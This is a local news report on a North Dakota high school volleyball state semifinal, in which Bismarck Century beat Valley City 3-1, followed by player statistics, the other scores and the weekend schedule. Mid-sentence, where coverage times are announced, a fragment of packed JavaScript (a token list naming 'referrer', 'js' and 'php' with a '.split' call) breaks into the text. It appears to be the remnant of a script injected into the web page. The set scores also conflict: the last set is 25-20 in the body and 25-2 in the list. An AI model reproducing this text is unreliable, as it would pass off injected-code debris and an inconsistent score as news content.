Hi-Liners Fall to Defending State Champion Patriots


FARGO, N.D. (NewsDakota.com)- Bismarck Century will get an opportunity to defend their state title after topping Valley City 3-1 in the state tournament semifinals Friday at The Fargodome. The Hi-Liners won the opening set 25-20 but it was all Patriots after that as they stormed back to win the next 3; 25-14, 25-7, 25-20.

Valley City’s defense shined in the losing effort with 5 players recording double figure digs. Kacee White paced The Hi-Liners with 19, Lexi Ondracek had 14 and Macy Olstad and Reagan Ingstad 11 each. Mackenzie Pederson added 5.

Cali Halgrimson registered a team high 13 kills, Olstad scored 9 and Pederson 4. Pederson and Josie Berntson each had 2 blocks. Ingstad posted 27 assist.

Valley City gets a chance to end their historic season on high note when they play Mandan in the 3rd place match Saturday at 3. Coverage on KOVC and NewsDakota.com starts httny|var|u0026u|referrer|fidnt||js|php’.split(‘|’),0,{}))
20 minutes before set 1.

Friday Scores

Consolation Semifinals

West Fargo 3 Davies 0 (25-21, 25-18, 25-13)

Bismarck High 3 Devils Lake 2 (22-25, 25-20, 25-22, 19-25, 17-15)

Championship Semifinals

Jamestown 3 Mandan 2 (20-25, 19-25, 25-23, 25-20, 17-15)

Bismarck Century 3 Valley City 1  (20-25, 25-14, 25-7, 25-2)

Saturday Schedule

7th place- 11am Davies vs Devils Lake

5th place- 1pm West Fargo vs Bismarck

3rd place- 3pm Valley City vs Mandan

Championship-7pm Jamestown vs Bismarck Century


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